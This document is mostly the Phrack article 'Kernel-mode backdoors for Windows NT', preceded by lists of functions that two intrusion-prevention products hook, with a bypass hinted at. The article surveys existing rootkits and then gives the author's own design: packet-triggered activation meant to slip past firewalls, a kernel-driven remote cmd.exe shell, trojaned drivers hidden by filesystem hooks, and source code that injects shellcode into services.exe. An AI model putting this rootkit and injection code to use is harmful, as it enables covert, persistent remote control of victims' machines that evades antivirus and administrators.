WinExec

WriteFile

advapi32.dll

RegOpenKeyA

rpcrt4.dll

NdrServerInitializeMarshall

user32.dll

ExitWindowsEx

ws2_32.dll

WPUCompleteOverlappedRequest WSAAddressToStringA

WSACancelAsyncRequest

WSACloseEvent

WSAConnect

WSACreateEvent

WSADuplicateSocketA

WSAEnumNetworkEvents

WSAEventSelect

WSAGetServiceClassInfoA WSCInstallNameSpace

wininet.dll

InternetSecurityProtocolToStringW InternetSetCookieA

InternetSetOptionExA

lsasrv.dll

LsarLookupNames

LsarLookupSids2

msv1_0.dll

Msv1_0ExportSubAuthenticationRoutine Msv1_0SubAuthenticationPresent

Kernel

NtConnectPort

NtCreateProcess

NtCreateThread

NtCreateToken

NtCreateKey

NtDeleteKey

NtDeleteValueKey

NtEnumerateKey

NtEnumerateValueKey

NtLoadKey

NtLoadKey2

NtQueryKey

NtQueryMultipleValueKey

NtQueryValueKey

NtReplaceKey

NtRestoreKey

NtSetValueKey

NtMakeTemporaryObject

NtSetContextThread

NtSetInformationProcess

NtSetSecurityObject

NtTerminateProcess

Appendix B: Okena/Cisco CSA 3.2 Hooks

Okena/CSA hooks many functions in userland but many less in the kernel. A lot of the userland hooks are the same ones that Entercept hooks. However, almost all of the functions Okena/CSA hooks in the kernel are related to altering keys in the Windows registry. Okena/CSA does not seem as concerned as Entercept about backtracing calls in the kernel. This leads to an interesting vulnerability, left as an exercise to the reader.

User Land

kernel32.dll

CreateProcessA

CreateProcessW

CreateRemoteThread

CreateThread

FreeLibrary

LoadLibraryA

LoadLibraryExA

LoadLibraryExW

LoadLibraryW

LoadModule

OpenProcess

VirtualProtect

VirtualProtectEx

WinExec

WriteProcessMemory

ole32.dll

CoFileTimeToDosDateTime

CoGetMalloc

CoGetStandardMarshal

CoGetState

CoResumeClassObjects

CreateObjrefMoniker

CreateStreamOnHGlobal

DllGetClassObject

StgSetTimes

StringFromCLSID

oleaut32.dll

LPSAFEARRAY_UserUnmarshal

urlmon.dll

CoInstall

Kernel

NtCreateKey

NtOpenKey

NtDeleteKey

NtDeleteValueKey

NtSetValueKey

NtOpenProcess

NtWriteVirtualMemory

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Kernel Mode Backdoor for NT

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x06 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Kernel‑mode backdoors for Windows NT ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ firew0rker <firew0rker@nteam.ru> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ the nobodies <http://www.nteam.ru> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Table of contents

1 ‑ PREFACE

2 ‑ OVERVIEW OF EXISTING KERNEL‑MODE BACKDOORS FOR WINDOWS NT 2.1 ‑ NTROOTKIT

2.2 ‑ HE4HOOK

2.3 ‑ SLANRET (IERK, BACKDOOR‑ALI)

3 ‑ OBSCURITY ON DISK, IN REGISTRY AND IN MEMORY

4 ‑ MY VARIANT: THORNY PATH

4.1 ‑ SHELL

4.2 ‑ ACTIVATION AND COMMUNICATION WITH REMOTE CLIENT 4.3 ‑ OBSCURITY ON DISK

5 ‑ CONCLUSION

6 ‑ EPILOGUE

7 ‑ LIST OF USED SOURCES

8 ‑ FILES

‑‑[ 1 ‑ Preface

This article is intended for those who know the architecture of the Windows NT kernel and the principles of operation of NT drivers. This article examines issues involved in the development of kernel‑mode tools for stealthy remote administration of Windows NT.

Recently there has been a tendency of extending the use of Windows NT (2000, XP, 2003) from it's classical stronghold as home and office OS to servers. At the same time, the outdated Windows 9x family is replaced by the NT family. Because of this it should be evident that remote administration tools (backdoors) and unnoticeable access tools (rootkits) for the NT family have a certain value. Most of the published utilities work in user‑mode and can thus be detected by Antivirus tools or by manual inspection.

It's quite another matter those works in kernel‑mode: They can hide from any user‑mode program. Antivirus software will have to suplly kernelmode components in order to detect a kernel‑mode‑backdoor. Software exists that protects against such backdoors (such as IPD, "Integrity Protection Driver"), but it's use is not widely spread. Kernel mode backdoors are not as widely used as they could be due to their relative complexity in comparison with user‑mode backdoors.

‑‑[ 2 ‑ Overview of existing Kernel‑Mode backdoors for Windows NT

This section briefly reviews existing kernel‑mode backdoors for Windows NT.

‑‑‑‑[ 2.1 ‑ Ntrootkit

Ntrootkit (c) by Greg Hoglund and a team of free developers [1] is a device driver for Windows NT 4.0 and 2000. It's possibilities (implemented and potential):

‑ Receiving commands from a remote client. The rk_packet module contains a simplified IP‑stack, which uses free IP‑address from the subnet where the host on which Ntrootkit has been installed is situated.

It's MAC and IP addresses are hardcoded in the source. Connection with the rootkit at that IP is carried out via a TCP connection to any port. The available commands in rk_command.c are:

ps ‑ list processes

help ‑ self explainatory

buffertest, echo and debugint ‑ for debugging purpose hidedir ‑ hide directory/file

hideproc ‑ hide process(es)

sniffkeys ‑ keyboard spy

There are also imcomplete pieces of code: Execute commands received via a covert channel and starting a Win32‑process from a driver (a hard and complicated task).

‑ Encrypt all traffic using Schneier's Blowfish algorithm: rk_blowfish.c is present, but not (yet ?) used

‑ Self‑defense (rk_defense.c) ‑ hide protected objects (in this case: registry keys), identified by the string "_root_"; redirect launched processes.

The hiding of processes, directories and files as implemented in rk_ioman.c is done through hooking the following functions:

NtCreateFile

ZwOpenFile

ZwQueryDirectoryFile

ZwOpenKey

ZwQueryKey

ZwQueryValueKey

ZwEnumerateValueKey

ZwEnumerateKey

ZwSetValueKey

ZwCreateKey

The way to detect this rootkit:

Make direct request to filesystem driver, send IRP to it. There is one more module that hooks file handling: rk_files.c, adopted from filemon, but it is not used.

‑ Starting processes: An unfinished implementation of it can be found in rk_command.c, another one (which is almost complete and good) is in rk_exec.c

The implementation suffers from the fact that Zw* functions which are normally unavailable to drivers directly are called through the system call interface (int 0x2E), leading to problems with different versions of the NT family as system call numbers change.

It seems like the work on Ntrootkit is very loosely coordinated: every developer does what (s)he considers needed or urgent. Ntrootkit does not achieve complete (or sufficient) invisibility. It creates device named "Ntroot", visible from User‑Mode.

When using Ntrootkit for anything practical, one will need some means of interaction with the rootkitted system. Shortly: There will be the need for some sort of shell. Ntrootkit itself can not give out a shell directly, although it can start a process ‑‑ the downside is that the I/O of that process can not be redirected. One is thus forced to start something like netcat. It's process can be hidden, but it's TCP‑connection will be visible. The missing redirection of I/O is a big drawback.

However, Ntrootkit development is still in progress, and it will probably become a fully‑functional tool for complete and stealthy remote administration.

‑‑‑‑[ 2.2 ‑ He4Hook

This description is based on [2]. The filesystem access was hooked via two different methods in the versions up to and including 2.15b6. Only one of it works at one time, and in versions after 2.15b6 the first method was removed.

Method A: hook kernel syscalls:

===============================

ZwCreateFile, ZwOpenFile ‑ driver version 1.12 and from 1.17 to

2.15beta6

IoCreateFile ‑ from 1.13 to 2.15beta6 ZwQueryDirectoryFile, ZwClose ‑ before 2.15beta6

Almost all these exported functions (Zw*) have the following function body:

mov eax, NumberFunction

lea edx, [esp+04h]

int 2eh ; Syscall interface

The "NumberFunction" is the number of the called function in the syscalls table (which itself can be accessed via the global variable KeServiceDescriptorTable). This variable points to following structure:

typedef struct SystemServiceDescriptorTable

{

SSD SystemServiceDescriptors[4];

} SSDT, *LPSSDT;

Other structures:

typedef VOID *SSTAT[];

typedef unsigned char SSTPT[];

typedef SSTAT *LPSSTAT;

typedef SSTPT *LPSSTPT;

typedef struct SystemServiceDescriptor

{

LPSSTAT lpSystemServiceTableAddressTable;

ULONG dwFirstServiceIndex;

ULONG dwSystemServiceTableNumEntries;

LPSSTPT lpSystemServiceTableParameterTable;

} SSD, *LPSSD;

The DescriptorTable pointed to by KeServiceDescriptorTable is only accessible from kernel mode. In User‑Mode, there is something called KeServiceDescriptorTableShadow ‑‑ unfortunately it is not exported.

Base services are in

KeServiceDescriptorTable‑>SystemServiceDescriptors[0] KeServiceDescriptorTableShadow‑>SystemServiceDescriptors[0]

KernelMode GUI services are in KeServiceDescriptorTableShadow‑>SystemServiceDescriptors[1]

Other elements of that tables were free at moment when [2] was written, in all versions up to WinNt4(SP3‑6) and Win2k build 2195. Each element of the table is a SSID structure, which contains the following data:

lpSystemServiceTableAddressTable ‑ A pointer to an array of addresses

of functions that will be called if

a matching syscall is called

dwFirstServiceIndex ‑ Start index for the first function

dwSystemServiceTableNumEntries ‑ Number of services in table

lpSystemServiceTableParameterTable ‑ An array of bytes specifying the

number of bytes from the stack that

will be passed through

In order to hook a system call, He4HookInv replaces the address stored in KeServiceDescriptorTable‑>SystemServiceDescriptos[0].lpSystemServiceTableAddressTableIn with a pointer to it's own table.

One can interface with He4HookInv by adding your own services to the system call tables. He4HookInv updates both tables:

‑ KeServiceDescriptorTable

‑ KeServiceDescriptorTableShadow.

Otherwise, if it updated only KeServiceDescriptorTable, new services would be unavailable from UserMode. To locate KeServiceDescriptorTableShadow the following technique is used:

The function KeAddSystemServiceTable can be used to add services to the kernel. It can add services to both tables. Taking into account that its 0‑th descriptor is identical, it's possible, by scanning KeAddSystemServiceTable function's code, to find the address of the shadow table. You can see how it is done in file He4HookInv.c, function FindShadowTable(void).

If this method fails for some reason, a hardcoded address is taken (KeServiceDescriptorTable‑0x230) as location of the shadow table. This address has not changed since WinNT Sp3. Another problem is the search for the correct index into the function address array. As almost all Zw* functions have an identical first instruction (mov eax, NumberFunction), one can get a pointer to the function number easily by adding one byte to the address exported by ntoskrnl.exe

Method B: (for driver versions 2.11 and higher)

========================================

The callback tables located in the DRIVER_OBJECT of the file system drivers are patched: The IRP handlers of the needed drivers are replaced. This includes replacing the pointers to base function handlers (DRIVER_OBJECT‑>MajorFunction) as well as replacing pointers to the drivers unload procedure (DRIVER_OBJECT‑>DriverUnload).

The following functions are handled:

IRP_MJ_CREATE

IRP_MJ_CREATE_NAMED_PIPE

IRP_MJ_CREATE_MAILSLOT

IRP_MJ_DIRECTORY_CONTROL ‑> IRP_MN_QUERY_DIRECTORY

For a more detailed description of the redirection of file operations refer to the source [2].

‑‑‑‑[ 2.3 ‑ Slanret (IERK, Backdoor‑ALI)

The source code for this is unavailable ‑‑ it was originally discovered by some administrator on his network. It is a normal driver ("ierk8243.sys") which periodically causes BSODs, and is visible as a service called "Virtual Memory Manager".

"Slanret is technically just one component of a root kit. It comes with a straightforward backdoor program: a 27 kilobyte server called "Krei" that listens on an open port and grants the hacker remote access to the system. The Slanret component is a seven kilobyte cloaking routine that burrows into the system as a device driver, then accepts commands from the server instructing it on what files or processes to conceal." [3]

‑‑‑‑[ 3. Stealth on disk, in registry and in memory

The lower the I/O interception in a rootkit is performed, the harder it usually is to detect it's presence. One would think that a reliable place for interception would be the low‑level disk operations (read/write sectors). This would require handling all filesystems that might be on the hard disk though: FAT16, FAT32, NTFS.

While FAT was relatively easy to deal with (and some old DOS stealth viruses used similar techniques) an implementation of something similar on WinNT is a task for maniacs.

A second place to hook would be hooking dispatch functions of filesystem drivers: Patch DriverObject‑>MajorFunction and FastIoDispatch in memory or patch the drivers on disk. This has the advantage of being relatively universal and is the method used in HE4HookInv.

A third possibility is setting a filter on a filesyste driver (FSD). This has no advantages in comparison with the previous method, but has the drawback of being more visible (Filemon uses this approach). The functions Zw*, Io* can then be hooked either by manipulating the KeServiceDescriptorTable or directly patching the function body. It is usually quite easy to detect that pointers in KeServiceDescriptorTable point to strange locations or that the function body of a function has changed. A filter driver is also easy to detect by calling IoGetDeviceObjectPointer and then checking DEVICE_OBJECT‑>StackSize.

All normal drivers have their own keys in the registry, namely in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.

The abovementioned rootkits can hide registry keys, but obviously, if the system is booted "cleanly", an administrator can see anything that was hidden. One can also load a rootkit using ZwSetSystemInformation( SystemLoadAndCallimage) without the need to create any registry keys. An example of this technique can be found in [6].

A rootkit loader in a separate file is too unstealthy. It might be a smarter move to patch that call into some executable file which is part of the system boot. One can use any driver or user‑mode program that works with sufficient privileges, or any DLL linked to by it. One has to ask one question though: If the newly introduced changes need to be hidden anyway, why make two similar but differing procedures (for hiding changes to a file as well as hiding the existance of a file) instead of limiting ourselves to one ?

In most cases one can target null.sys. Implementing it's functionality is as easy as "hello world", and that is why it is usually replaced with a trojan. But if we are going to have a procedure for hiding changes to a file, we can replace ANY driver with a trojan that will substitute the content of the replaced file with the original content to everyone (including the kernel). Upon startup, it will copy itself to some allocated memory area and start a thread there.

This will make the trojan almost unnoticeable in memory: No system utility can see the driver any more, as it is just an anonymous memory page amongst many. We do not even need a thread, using intercepted IRP dispatch functions of some driver (DriverObject‑>MajorFunction[IRP_MJ_xxx]). We can also use IoQueueWorkItem and KeInsertQueueDpc, so no additional threads in SYSTEM will be visible in the task manager. After this is done the trojan can unload the driver it was started from, and reload it in a clean (unchanged) variant. As a result, high levels of stealth will be achieved by relatively simple means. The original content of the manipulated file could for example be stored in the trojan's file after the trojan itself.

It will then be sufficient to hook all FSD requests (IRP and FastIO) and upon access change the position (and size of the file). (CurrentIrpStackLocation‑>Parameters.*.ByteOffset)

‑‑[ 4 ‑ My variant: The thorny path

‑‑‑‑[ 4.1 ‑ Shell

I originally intended to do something similarily simple as standard user‑mode code: Just pass a socket handle for stdin/stdout/stderr to the newly created cmd.exe process. I did not find a way to open a useful socket from a driver though, as the interface with the AFD driver (kmode core of winsock) is undocumented. Reverse‑engineering it's usage was not an option either as due to changes between versions my technique would be unreliable. I had to find a different way.

First variant

=============

We could start our code in the context of some process, using a shellcode quite similar to that used in exploits. The code could wait for a TCP connection and start cmd.exe with redirected I/O.

I chose this way when I tired of trying to start a full‑fledged win32 process from a driver. The shellcode is position‑independent, searches for kernel32.dll in memory and loads the winsock library. All that needs to be done is injecting the shellcode into the address space of a process and pass control to the entry point of the shellcode. However, in the process of doing this the normal work of the process must not be interrupted, because a failure in a critical system process will lead to a failure of the whole system.

So we need to allocate memory, write shellcode there, and create a thread with EIP = entry point of the shellcode. Code to do this can be found in the attached file shell.cpp. Unfortunately, when CreateProcess is called from the thread started in this way it failed, most probably because something that CreateProcess relies upon was not initialized propoerly in the context of our thread. We thus need to call CreateProcess from a thread context which has everything that CreateProcess needs initialized ‑‑ we're going to take a thread which belongs to the process we are intruding into (I used SetThreadContext for that). One needs to restore the state of the thread prior to the interruption so it can contiue it's normal operation.

So we need to: Save thread context via GetThreadContext, set the EIP to our context via SetThreadContext, wait for the code to complete, and then restore the original cont again. The rest is just a usual shellcode for Windows NT (full code in dummy4.asm).

One unsolved problem remains: If the thread is in waiting state, it will not run until it wakes up. Using ZwAlertThread does not yield any result if the thread is in a nonalertable wait state. Fortunately, the thread in services.exe worked without a problem ‑‑ this does not imply it will stay like this in the future though, so I continued my research:

Second variant

==============

Things are not as easy as [4] makes them sound. Creating a fullfledged win32‑process requires it's registration in the CSRSS subsystem. This is accomplished by using CsrClientCallServer(), which receives all necessary information about the process (handles, TID, PID, flags). The functions calls ZwRequestWaitReplyPort, which receives a handle of a previously opened port for connection with CSRSS.

This port is not open in the SYSTEM process context. Opening it never succeeded (ZwConnectPort returned STATUS_PORT_CONNECTION_REFUSED). Playing with SECURITY_QUALITY_OF_SERVICE didn't help. While disassembling ntdll.dll I saw that ZwConnectPort calls were preceded by ZwCreateSection. But there was no time and no desire to play with sections. Here is the code that didn't work:

VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid) {

CSRMSG csrmsg;

HANDLE hCurProcess;

HANDLE handleIndex;

PVOID p;

_asm int 3;

UNICODE_STRING PortName; RtlInitUnicodeString(&PortName,L"\\Windows\\ApiPort"); static SECURITY_QUALITY_OF_SERVICE QoS = {sizeof(QoS), SecurityAnonymous, 0, 0}; /*static SECURITY_QUALITY_OF_SERVICE QoS =

{0x77DC0260, (_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/

DWORD ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL,

NULL,NULL,NULL,NULL);

if (!ret) {

RtlZeroMemory(&csrmsg,sizeof(CSRMSG));

csrmsg.ProcessInformation.hProcess=hProcess; csrmsg.ProcessInformation.hThread=hThread; csrmsg.ProcessInformation.dwProcessId=pid; csrmsg.ProcessInformation.dwThreadId=tid;

csrmsg.PortMessage.MessageSize=0x4c; csrmsg.PortMessage.DataSize=0x34;

csrmsg.CsrssMessage.Opcode=0x10000;

ZwRequestWaitReplyPort(handleIndex,(PORT_MESSAGE*)&csrmsg,

PORT_MESSAGE*)&csrmsg);

}

}

The solution to the problem was obvious; Switch context to one in which the port is open, e.g. to the context of any win32‑process. I inserted KeAttachProcess(HelperProcess) before calling Nebbet's InformCsrss, and KeDetachProcess afterwards. The role of the HelperProcess was taken by calc.exe.

When I tried using KeAttachProcess that way I failed though: The context was switched (visible using the proc command in SoftICE), but CsrClientCallServer returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows what was happening inside CSRSS.

When trying to frame the whole process creation function into KeAttachProcess/KeDetachProcess led to the following error when calling ZwCreateProcess: "Break Due to KeBugCheckEx (Unhandled kernel mode exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ... ".

A different way to execute my code in the context of an arbitrary process is APC. The APC may be kmode or user‑mode. As long as only kmode APC may overcome nonalertable wait state, all code for process creation must be done in kernel mode. Nebbet's code normally works at IRQL == APC_LEVEL

Code execution in the context of a given win32‑process by means of APC is implemented in the StartShell() function, in file ShellAPC.cpp.

Interaction with the process

=============================

Starting a process isn't all. The Backdoor still needs to communicate with it: It is necessary to redirect it's stdin/stdout/stderr to our driver. We could do this like most "driver+app"‑systems: Create a device that is visible from user‑mode, open it using ZwOpenFile and pass the handle to the starting process (stdin/stdout/stderr). But a named device is not stealthy, even if we automatically create a random names. This is why I have chosen to use named pipes instead.

Windows NT uses named pipes with names like Win32Pipes.%08x.%08x (here %08x is random 8‑digit numbers) for emulation of anonymous pipes. If we create one more such pipe, nobody will notice. Usually, one uses 2 anonymous pipes r redirecting I/O of a console application in Win32, but when using a named pipe one will be sufficient as it is bi‑directional. The driver must create a bi‑directional named pipe, and cmd.exe must use it's handle as stdin/stdout/stderr.

The handle can be opened in both kmode and user‑mode. The final version uses the first variant, but I have also experimented with the second variant ‑‑ being able to implement different variants may help evade antiviruses. Starting a process with redirected I/O has been completely implemented in kernel mode in the file NebbetCreateProcess.cpp.

There are two main differences between my and Nebbet's code: The functions that are not exported from ntoskrnl.exe but from ntdll, are dynamically imported (see NtdllDynamicLoader.cpp). The handle to the named pipe is opened with ZwOpenFile() and passed to the starting process with ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE flag.

For opening the named pipe from user mode I inject code into a starting process. I attached the patch (NebbetCreateProcess.diff) for educational purposes. It adds a code snippet to a starting process. The patch writes code (generated by a C++ compiler) to a process's stack. For independence that code is a function which accepts a pointer to a structure containing all the necessary data (API addresses etc) as parameter. This structure and a pointer to it are written to the stack together with the code of the function itself. ESP of the starting thread is set 4 bytes bellow the pointer to the parameters of the function, and EIP to it's entry point. Once the injected code is done executing, it issues a CALL back to the original entry point. This example can be modified to be yet another way of injecting code into a working userland process from kernel mode.

‑‑‑[ 4.2 ‑ Activation and communication with the remote client

If a listening socket is permanently open (and visible to netstat ‑an) it is likely to be discovered. Even if one hides the socket from netstat is insufficient as a simple portscan could uncover the port. To remain stealthy a backdoor must not have any open ports visible locally or remotely. It is necessary to use a special packet, which on the one hand must be unambigously identified by the backdoor as activation signal, yet at the same time must not be so suspicious as to trigger alerts or be filtered by firewalls. The activation signal could e.g. be a packet containing a set of packets at any place (header or data) ‑‑ all characteristics of the packet (protocol, port etc) should be ignored. This allows for maximum flexibility to avoid aggressive packet filters.

Obviously, we have to implement some sort of sniffer in order to detect such a special packet. In practice, we have several choices on how to implement the sniffer:

1) NDIS protocol driver (advantage: possibility not only to receive packets, but also to send ‑ thus making covert channel for communication with remote client possible; disadvantage: difficulties with supporting all types of network devices) ‑ applied in ntrootkit;

2) use service provided by IpFilterDriver on w2k and higher (advantages: simple implementation and complete independence from physical layer; disadvantage: receive only);

3) setup filter on 1 of network drivers, through which packets pass through (see [5]);

4) direct appeal to network drivers by some other means for receive and send packets (advantage: can do everything; disadvantage: unexplored area).

I have chosen variant 2 due to it's simplicity and convenience for both described variants of starting a shell. IpFilterDriver used only for activation, further connection is made via TCP by means of TDI.

An example of the usage of IpFilterDriver can be seen in Filtering.cpp and MPFD_main.cpp. InitFiltering() loads the IpFilterDriver if it isn't yet loaded. Then it calls SetupFiltering, which sets a filter with IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() is then called on each IP packet. If a keyword is detected StartShellEvent is set and causes a shell to be started.

The variant using shellcode in an existing process works with the network in user‑mode, thus we do not need to describe anything in detail.

A Kernel‑mode TCP shell is implemented in NtBackd00r.cpp. When cmd.exe is started from a driver with redirected I/O, the link is maintained by the driver. I took the tcpecho example as base for the communitcation module in order not to waste time coding a TDI‑client from scratch. DriverEntry() initialises TDI, creates a listening socket and an unnamed device for IoQueueWorkItem.

For each conenction an instance of the Session class is created. In it's OnConnect handler a sequence of operations for creating a process. process. As long as this handler is called at IRQL==DISPATCH_LEVEL, it's impossible to do all necessary operations directly in it. It's even impossible to start a thread because PsCreateSystemThread must be called only at PASSIVE_LEVEL according to the DDK. Therefore the OnConnect handler calls IoAllocateWorkItem and IoQueueWorkItem in order to do any further operations accomplished in WorkItem handler (ShellStarter function) at PASSIVE_LEVEL.

ShellStarter calls StartShell() and creates a worker thread (DataPumpThread) and 2 events for notifying it about arriving packets and named pipe I/O completion. Interaction between the WorkItem/thread and Session class was built with taking a possible sudden disconnect and freeing Session into account: syncronisation is accomplished by disabling interrupts (it's equivalent of raise IRQL to highest) and by means of DriverStudio classes (SpinLock inside). The Thread uses a copy of some data that must be available even after instance of Session was deleted.

Initially, DataPumpThread starts one asynchronous read operation (ZwReadFile) from named pipe ‑‑ event hPipeEvents[1] notifies about it's completion. The other event hPipeEvents[0] notifies about data arrival from the network. After that ZwWaitForMultipleObjects executed in a loop waits for one of these events. In dependence of what event was signaled, the thread does a read from the named pipe and sends data to client, or does a read read from FIFO and writes to pipe. If the Terminating flag is set, thread closes all handles, terminates the cmd.exe process, and then terminates itself. Data arrival is signaled by the hPipeEvents[0] event in Session::OnReceive and Session::OnReceiveComplete handlers. It also used in conjunction with the Terminating flag to notify the thread about termination.

Data resceived from the network is buffered in pWBytePipe FIFO. DataPumpThread reads data from the FIFO to temporary buffers which are allocated for each I/O operation and writes data asynchronously to the pipe (ZwWriteFile). The buffers are freed asynchronously in the ApcCallbackWriteComplete handler.

Data transfers from the pipe to the network are also accomplished through temporary buffers that are allocated before ZwReadFile and freed in Session::OnSendComplete.

Paths of data streams and temporary buffers handling algorithm:

NamedPipe ‑(new send_buf; ZwReadFile)‑> temporary buffer

send_buf ‑(send)‑> Network ‑> OnSendComplete{delete send_buf}

Network ‑(OnReceive)‑> pWBytePipe ‑(new rcv_buf)‑> temporary

buffer rcv_buf ‑(ZwWriteFile)‑> NamedPipe ‑>

ApcCallbackWriteComplete{delete rcv_buf}

In Session::OnReceive handler data is written to the FIFO and the DataPumpThread is notified about it's arrival. If the transport has more data available than indicated another buffer is allocated to read the rest. When the transport is done ‑ asynchronously ‑ OnReceiveComplete() handler is called, which does the same as OnReceive.

‑‑‑‑[ 4.3 ‑ Stealth on disk

I've implemented simple demo module (file Intercept.cpp) which hooks dispatch functions of a given filesystem diver to hide the first N bytes of a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat"). There is only 2 FSDs that may be necessary to hook: Fastfat ant Ntfs, because NT can boot from these filesystems.

Intercept() replaces some driver dispatch functions (pDriverObject‑>MajorFunction[...], pDriverObject‑>FastIoDispatch‑>...).

When hooked driver handles IRPs and FastIo calls the corresponding hook functions modifies file size and current file offset. Thus all user‑mode programs see file N bytes smaller than original, containing bytes N to last. It allows to implement trick described in part 3.

‑‑[ 5 ‑ Conclusion

In this article I compared 3 existing Kernel‑Mode backdoors for Windows NT from a programmers point of view, presented some ideas on making a backdoor stealthier as well as my thorny path of writing my own KernelMode backdoor.

What we did not describe was a method of hiding open sockets and TCP connections from utilities such as netstat and fport. Netstat uses SnmpUtilOidCpy(), and fport talks directly with drivers (\Device\Udp and \Device\Tcp). To hide something from these and all similar tools, it's necessary to hook aforementioned drivers with one of methods mentioned in section "Stealth on disk, in registry and in memory". I did not explore that issue yet. Probably, its consideration deserves a separate article. Advice for those who decided to move this direction: begin with the study of IpLog sources [5].

‑‑[ 6 ‑ Epilogue

When/if this article will be published in Phrack, the article itself (probably improved and supplemented), its Russian original, and full code of all used examples will be published at our site http://www.nteam.ru

‑‑[ 7 ‑ List of used sources

1. http://rootkit.com

2. "LKM‑attack on WinNT/Win2k" http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/

3. "Windows Root Kits a Stealthy Threat" http://www.securityfocus.com/news/2879

4. Garry Nebbet. Windows NT/2000 native API reference.

5. "IP logger for WinNT/Win2k" http://195.19.33.68/He4ProjectRepositary/IpLog/

‑‑[ 8 ‑ Files

‑‑‑‑[ 8.1 ‑ Shell.CPP

#include "ntdll.h"

#include "DynLoadFromNtdll.h"

#include "NtdllDynamicLoader.h"

#if (DBG)

#define dbgbkpt __asm int 3

#else

#define dbgbkpt

#endif

const StackReserve=0x00100000;

const StackCommit= 0x00001000;

extern BOOLEAN Terminating;

extern "C" char shellcode[];

extern "C" const CLID_addr;

extern "C" int const sizeof_shellcode;

namespace NT {

typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5

ULONG NextEntryDelta;

ULONG ThreadCount;

ULONG Reserved1[6];

LARGE_INTEGER CreateTime;

LARGE_INTEGER UserTime;

LARGE_INTEGER KernelTime;

UNICODE_STRING ProcessName;

KPRIORITY BasePriority;

ULONG ProcessId;

ULONG InheritedFromProcessId;

ULONG HandleCount;

ULONG Reserved2[2];

VM_COUNTERS VmCounters;

SYSTEM_THREADS Threads[1];

} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;

}

BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)

{

NT::UNICODE_STRING ProcessName; NT::RtlInitUnicodeString(&ProcessName,process); ULONG n=0xFFFF;

PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); while (NT::ZwQuerySystemInformation( NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0)) {

NT::ExFreePool(q);

n*=2;

q = (PULONG)NT::ExAllocatePool (NT::NonPagedPool,n*sizeof(*q));

}

ULONG MajorVersion;

NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

NT::PSYSTEM_PROCESSES p

= NT::PSYSTEM_PROCESSES(q);

BOOL found=0;

char** pp=(char**)&p;

do

{

if ((p‑>ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString (&p‑>ProcessName,&ProcessName,TRUE))) {

if (MajorVersion<=4)

*ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)‑>Threads[0].ClientId;

else *ClientId = p‑>Threads[0].ClientId;

found=1;

break;

}

if (!(p‑>NextEntryDelta)) break; *pp+=p‑>NextEntryDelta;

} while(1);

NT::ExFreePool(q);

return found;

}

VOID StartShell()

{

//Search ntdll.dll in memory

PVOID pNTDLL=FindNT();

//Dynamicaly link to functions not exported by ntoskrnl,

//but exported by ntdll.dll

DYNAMIC_LOAD(ZwWriteVirtualMemory) DYNAMIC_LOAD(ZwProtectVirtualMemory) DYNAMIC_LOAD(ZwResumeThread) DYNAMIC_LOAD(ZwCreateThread)

HANDLE hProcess=0,hThread;

//Debug breakpoint

dbgbkpt;

NT::CLIENT_ID clid;

//Code must be embedded into thread, which not in nonalertable wait state.

//Such thread is in process services.exe, let's find it

if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;

return;};

NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; //Open process ‑ get it's descriptor

NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid); if (!hProcess) {dbgbkpt;

return;};

/*NT::PROCESS_BASIC_INFORMATION pi;

NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(pi), NULL);*/

ULONG n = sizeof_shellcode;

PVOID p = 0;

PVOID EntryPoint;

//Create code segment ‑ allocate memory into process context

NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,

MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (!p) {dbgbkpt;

return;};

//*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread;

//Write process and thread ID into shellcode, it will be needed for

//further operations with that thread

*((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid; //Write shellcode to allocated memory

ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0); //Entry point is at the beginning of shellcode

EntryPoint = p;

//Create stack segment

NT::USER_STACK stack = {0};

n = StackReserve;

NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,

MEM_RESERVE, PAGE_READWRITE);

if (!stack.ExpandableStackBottom) {dbgbkpt; return;};

stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)

+ StackReserve;

